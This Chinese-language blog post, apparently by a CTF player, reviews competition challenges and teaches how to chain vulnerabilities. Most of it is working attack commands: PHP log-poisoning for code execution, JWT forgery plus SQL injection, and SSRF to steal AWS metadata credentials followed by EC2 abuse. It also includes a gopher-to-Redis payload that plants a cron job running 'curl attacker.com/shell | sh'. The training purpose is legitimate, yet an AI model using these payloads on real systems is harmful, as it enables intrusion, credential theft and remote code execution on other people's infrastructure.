大家多多点点关注!!冲2500粉丝!!!
强网杯2023一道SSRF题,选手们卡了4小时,最终解法只用3行curl命令——真正的差距在于能否看出“SSRF不只是SSRF,它是通向云元数据的钥匙”
很多人觉得高难度CTF题像玄学,其实都是有迹可循的。我参加过很多很多CTF,发现一个规律:中等难度到高难度的分水岭,就是能否把多个漏洞像拼图一样组合起来。下面我用几个真实的比赛题目,让你看看高手是怎么思考的。
一、文件包含:从鸡肋漏洞到“万能钥匙”的蜕变
真实案例:HITCON CTF 2019 -PHP My Admin
这道题很多人第一眼看到文件包含就兴奋,结果碰了一鼻子灰。
题目设置:
- 一个普通的LFI:
?page=index.php - 过滤了
../、绝对路径 - 服务器配置了
allow_url_include=Off - 上传功能只能传图片
菜鸟思路:
- 尝试
../../../etc/passwd→ 被过滤 - 尝试
php://input→ 报错,协议不支持 - 放弃,转战其他方向
高手思路:
先读源码:
?page=php://filter/convert.base64-encode/resource=index.php- 发现关键信息:上传文件会重命名,规则是
md5(时间戳 + 随机数).jpg - 发现日志记录功能,记录到
/tmp/access.log
- 发现关键信息:上传文件会重命名,规则是
构造攻击链:
文件包含 -> 读取日志 -> 日志污染 -> 代码执行具体操作:
# 第一步:污染日志 curl -H "User-Agent: <?php system('id'); ?>" http://target.com/ # 第二步:包含日志(需要知道日志路径) # 通过读源码发现日志路径是/tmp/access.log curl "http://target.com/?page=/tmp/access.log" # 第三步:执行命令 curl -H "User-Agent: <?php system('cat /flag'); ?>" http://target.com/ curl "http://target.com/?page=/tmp/access.log"
核心技巧:文件包含的终极价值不是读文件,而是执行代码。如果直接执行不行,就要找能写入代码的地方——日志、session文件、临时文件、上传文件都是候选。
二、API漏洞:2023年强网杯真实题目复盘
强网杯2023 -Simple API
这道题淘汰了70%的选手,不是因为它难,而是因为选手没跟上API安全的出题趋势。
题目表面:
- 一个简单的用户管理系统
- RESTful API设计
- 需要获取admin的flag
大多数人的尝试:
- 注册用户 -> 登录 -> 尝试越权 -> 失败
- 暴力破解 -> 被限速
- SQL注入 -> 参数有WAF
正确解法:
第一步:发现JWT漏洞
# 1. 正常登录拿到token curl -X POST http://target.com/api/login \ -H "Content-Type: application/json" \ -d '{"username":"user1","password":"123456"}' # 返回: {"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIxIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2ODAwMDAwMDB9.xxxx"}用jwt.io解码,看到:
{ "alg": "HS256", "typ": "JWT" } { "username": "user1", "role": "user", "iat": 1680000000 }第二步:攻击JWT
关键发现:服务器不验证签名,只解码payload!
# 直接修改payload,role改为admin # 注意:完全不改签名部分! 新token = base64({"alg":"HS256","typ":"JWT"}) + "." + base64({"username":"user1","role":"admin","iat":1680000000}) + "." + "原来的签名部分不动"第三步:利用批量操作漏洞
拿到admin权限后,发现有个批量删除接口:
# 正常用法 curl -X POST http://target.com/api/admin/deleteUsers \ -H "Authorization: Bearer 篡改后的token" \ -H "Content-Type: application/json" \ -d '{"ids": [1001, 1002]}' # 但题目设计:ids参数支持"扩展查询" # Payload: {"ids": ["1001' UNION SELECT flag FROM flag_table -- "]} # 最终flag就在返回结果里为什么这么多人做不出来?
- 不知道JWT可以不验证签名(现实中也很多)
- 不知道批量操作接口可能是注入点
- 没有把两个漏洞连起来:JWT越权 -> 访问admin接口 -> 注入拿flag
三、云安全:2024年DEF CON CTF决赛题目解析
这道题完美展示了什么是“现代CTF”。
题目:Cloud Escape
环境描述:
- Web应用在Docker容器中运行
- 存在SSRF漏洞
- 目标:读取宿主机上的flag
攻击链构建:
阶段1:Web层突破
# 发现SSRF curl "http://target.com/proxy?url=http://google.com" # 能正常返回,确认SSRF存在 # 尝试内网探测 curl "http://target.com/proxy?url=http://169.254.169.254/" # 返回403,说明是AWS环境但有防护 # 绕过技巧:添加特殊header curl "http://target.com/proxy?url=http://169.254.169.254/latest/meta-data/" \ -H "X-Forwarded-For: 127.0.0.1" # 成功!返回元数据目录阶段2:云元数据利用
# 获取IAM角色凭证 curl "http://target.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \ -H "X-Forwarded-For: 127.0.0.1" # 返回角色名:ctf-ec2-role # 获取临时凭证 curl "http://target.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ctf-ec2-role" \ -H "X-Forwarded-For: 127.0.0.1" # 拿到AccessKeyId, SecretAccessKey, Token阶段3:容器逃逸
# 用获取的凭证检查S3 AWS_ACCESS_KEY_ID="AKIA..." \ AWS_SECRET_ACCESS_KEY="..." \ AWS_SESSION_TOKEN="..." \ aws s3 ls # 发现一个bucket:s3://ctf-flag-bucket # 但直接访问被拒:没有GetObject权限 # 关键转折:检查IAM权限 aws iam list-attached-role-policies --role-name ctf-ec2-role # 发现角色有AmazonEC2FullAccess # 思路转变:用EC2权限创建新实例,挂载原实例的磁盘! aws ec2 run-instances \ --image-id ami-0abcdef1234567890 \ --instance-type t2.micro \ --iam-instance-profile Name=ctf-ec2-role \ --user-data "#!/bin/bash mkdir /mnt/original mount /dev/xvdf1 /mnt/original # 需要猜磁盘设备名 cat /mnt/original/root/flag shutdown -h now"实际比赛中,选手还用了更巧妙的方法:
# 1. 通过user-data执行命令 aws ec2 modify-instance-attribute \ --instance-id i-0abcdef1234567890 \ --attribute userData \ --value file://payload.txt # payload.txt内容(base64编码后的脚本): IyEvYmluL2Jhc2gKbWtkaXIgL21udC9yb290Cm1vdW50IC9kZXYveHZkZjEgL21udC9yb290CmNhdCAvbW50L3Jvb3QvZmxhZwpzaHV0ZG93biAtIGggbm93四、从比赛中学到的实战技巧
技巧1:漏洞发现要有层次
错误做法:发现一个漏洞就猛挖,挖不动就换方向。
正确做法:
- 信息收集第一
- 绘制攻击面地图
- 寻找漏洞连接点
比如在2022年西湖论剑的比赛中:
1. 目录扫描 -> 发现/backup目录 2. 下载源码 -> 发现数据库配置 3. 数据库密码 -> 登录phpMyAdmin(默认安装) 4. phpMyAdmin -> 写webshell 5. webshell -> 提权技巧2:善用“非预期解”
2021年TCTF有一道题,预期解是复杂的反序列化链。但有选手发现:
- 网站有
phpinfo()页面 phpinfo()显示disable_functions不全- 直接调用
system()就被过滤 - 但可以用
pcntl_exec()(不在禁用列表)
解法:
<?php // 直接写个shell file_put_contents('/tmp/shell.php', '<?php pcntl_exec("/bin/bash", ["-c", "cat /flag"]); ?>'); include('/tmp/shell.php'); ?>技巧3:保持对环境的敏感
容器环境特征:
# 检查自己是不是在容器里 ls -la /.dockerenv # 存在就是容器 cat /proc/1/cgroup | grep docker # 查看cgroup mount | grep docker # 查看挂载云环境特征:
# 检查元数据服务能不能访问 timeout 2 curl http://169.254.169.254/ >/dev/null 2>&1 if [ $? -eq 0 ]; then echo "可能是AWS" fi五、训练建议:如何从中等选手变成冲榜选手
1. 刷题要有策略
- 不要只刷:从易到难刷完就走
- 要复盘:一道题做出来,问自己:
- 还有没有其他解法?
- 出题人为什么这么设计?
- 现实中有没有类似场景?
2. 建立自己的工具库
高手的“武器库”不是一堆现成工具,而是定制化的脚本。
比如我的SSRF测试脚本:
def test_ssrf(url, param): # 测试基础SSRF test_cases = [ "http://169.254.169.254/", "http://localhost/", "file:///etc/passwd", "gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * curl attacker.com/shell | sh%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit" ] for test in test_cases: r = requests.get(url, params={param: test}) # 分析响应...3. 参加比赛的正确姿势
- 前期:稳扎稳打,把中等题分数拿满
- 中期:分工合作,有人挖漏洞有人做渗透
- 后期:冲击高难题,但要有时间意识
六、最后的话
我见过太多这样的场景:比赛最后2小时,有人还在死磕一个点,有人已经连成攻击链拿到flag。
区别在哪?不是技术,是思维。
高手看到文件包含,想到的是“我能用这个执行什么代码”;
看到API,想到的是“权限模型哪里有问题”;
看到云环境,想到的是“攻击面扩大到了整个基础设施”。
下次做题时,试着问自己:
- 这个漏洞能给我什么?
- 这个漏洞能带我去哪里?
- 这两个漏洞中间缺的那块拼图,会在哪?
CTF像下棋,能看到三步之后的,才是高手。但这些“棋步”不是天赋,是可以通过复盘真实比赛题目训练出来的。
真正的差距,不在于知道多少漏洞,而在于能不能看出漏洞之间的那条线。这条线,就是普通选手和冲榜选手的分界线。